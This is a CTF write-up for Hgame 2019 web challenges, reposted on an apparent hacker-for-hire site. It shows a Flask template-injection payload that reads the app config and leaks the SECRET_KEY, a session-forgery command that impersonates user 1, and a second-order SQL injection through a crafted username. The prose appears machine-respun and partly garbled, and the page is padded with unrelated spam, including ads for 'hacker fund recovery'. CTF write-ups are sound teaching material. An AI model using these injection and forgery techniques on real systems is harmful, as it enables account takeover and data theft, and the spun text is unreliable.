当前位置:首页 > 黑客业务 > 正文内容

CTF标题实战:2019-Hgame-Web-Week4

访客4年前 (2021-04-09)黑客业务829

前语
最近使用空余时刻做了一下Hgame,以下是部分web题题解。
happyPython
信息收集
发现是flask,顺手测验一下。
http://118.25.18.223:3001/{{1+1}}

发现或许存在SSTI,打了几发payload,发现都是500,想到测验一下过滤。
http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D

发现将()替换成了空。

SECRET_KEY获取
那么执行命令应该变得十分困难,可是网站有登录,注册功用。
顺手解了一下session。

猜想或许要假造user_id=1
那么不能执行命令,咱们能够进行信息读取,取得SECRET_KEY。
勘探了一下过滤,发现url_for还存在。
http://118.25.18.223:3001/%7B%7Burl_for%7D%7D

进一步了解一下。
url_for.__globals__

发现已经是,持续深化一下,读config。
url_for.__globals__['current_app'].config
得到回显
发现
'SECRET_KEY': '9RxdzNwq7!nOoK3*'
session假造
咱们进行session假造。
{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}
这儿直接改user_id不可,本以为有csrf_token,咱们需得到下一次csrf_token再假造。

此刻解密能够得到当时csrf_token。

进行假造
flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"
可是发现依然不可,这儿测验Python3,发现成功。


得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。
happyPHP
信息收集
F12发现源代码有信息走漏。

下载源码后直接搜索flag。

发现需求变成id=1的用户才会得到flag。
二次注入
一起发现高危操作。
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
没有通过过滤,直接拼接name。
简单想到二次注入,这儿注册用户。
1' or 'a'='a
得到成果

发现能够注入,考虑需求注入的value。
这儿我直接以为注入id=1用户的暗码是没有效果的(后来发现便是注暗码= =),咱们发现这儿的暗码已加密。
$user = User::create([
            'name' => $request->name,
            'email' => $request->email,
            'password' => encrypt($request->password),
        ]);
咱们观察到数据库信息
public function up()
    {
        Schema::create('password_resets', function (Blueprint $table) {

[1] [2]  黑客接单网

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/106529.html

分享给朋友:

“CTF标题实战:2019-Hgame-Web-Week4” 的相关文章

字节承认商业化团队撤城裁员了

据晋江新闻网2021年10月19日21:00:43的最新发布,微博网友@ 爆料。   平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议!   据悉,黑客追款后来被报道了几次。猜测第六百八十八章逃港者第六百八十九章调侃第六百。相对这个账号是他的。   1.专业网赌追回...

字节承认商业化团队撤城裁员

据晋江新闻网2021年10月19日21:00:43的最新发布,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议! 据悉,黑客追款后来被报道了几次。猜测第六百八十八章逃港者第六百八十九章调侃第六百。相对这个账号是他的。 1.专业网赌追回律师 首先确保整个真正的黑客追款方案是最...

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这

猪肉怎么选?颜色有区别吗?今天做饭的时候发现上次买的猪肉颜色跟这 买猪肉时,根据肉的颜色、外观、气味等可以判断出肉的质量是好还是坏。优质的猪肉,脂肪白而硬,且带有香味。肉的外面往往有一层稍带干燥的膜,肉质紧密,富有弹性,手指压后凹陷处立即复原。 次鲜肉肉色较鲜肉暗,缺乏光泽,脂肪呈灰白色;表面带...

比特犬打架视频(美国巨比特犬打架视频)

阿根廷杜高。罗威拿犬。但是还是看后天的训练,起源于19世纪。 和美国斗牛犬,放出来视频喂食的时候让其他狗和她抢,比特结构的总和等等的评估最后得出的猛犬排行。比特犬、也不退梭好感动斗牛犬比特,比特犬是同体型的后中最能打架的一种犬种!比特犬.我是一个水平很低的养狗者。 卡斯罗,爱的是优美的曲线。也就是斗...

蚯蚓的市场价格 - 2020年蚯蚓收购价格

今年2020年这个价格还算是比较合理,市场价格较为平稳,当地蚯蚓批发价250元/万条,今日浙江海宁地区鲜蚯蚓批发价为17,最高可卖3元/两,每次都-是老家亳州的来回辗转的跑辛苦.货源充足,现在贩子登门收购18-222020元/斤不等。 目前价格多少钱一斤目前价格在8元一斤,是一种营养价值很高的无脊椎...

今天猪肉价格多少钱一斤 「未来10天毛猪价格」

但是价格便宜点。比昨天下降 0点8;鸡蛋8点,我今天出售5头价格14点00,价格稳定;江苏活猪价15元/公斤左右,规模场品种猪价格在6点50-6,猪价或将有所回暖,点70元/斤之间,年的低迷期。 去年9月份以来,89元/公斤,山东省普通猪价格大约在6,从春节时的最高15元/公斤左右价格,现在江苏生猪...

评论列表

痴者会傲
3年前 (2022-07-04)

   ]);咱们观察到数据库信息public function up()    {        Schema::create('password_resets', function (Blueprint

边侣听茶
3年前 (2022-07-04)

4b0997524cd3d2d9ac3f6'}"可是发现依然不可,这儿测验Python3,发现成功。得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。happyPHP信息收集F12发现源代码有信息走漏。下载源码后直接搜索f

蓝殇鸠骨
3年前 (2022-07-04)

r.__globals__['current_app'].config得到回显发现'SECRET_KEY': '9RxdzNwq7!nOoK3*'session假造咱们进行session假造。{u'csrf_t

余安徒掠
3年前 (2022-07-04)

.upper()%7D%7D发现将()替换成了空。SECRET_KEY获取那么执行命令应该变得十分困难,可是网站有登录,注册功用。顺手解了一下session。猜想或许要假造

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。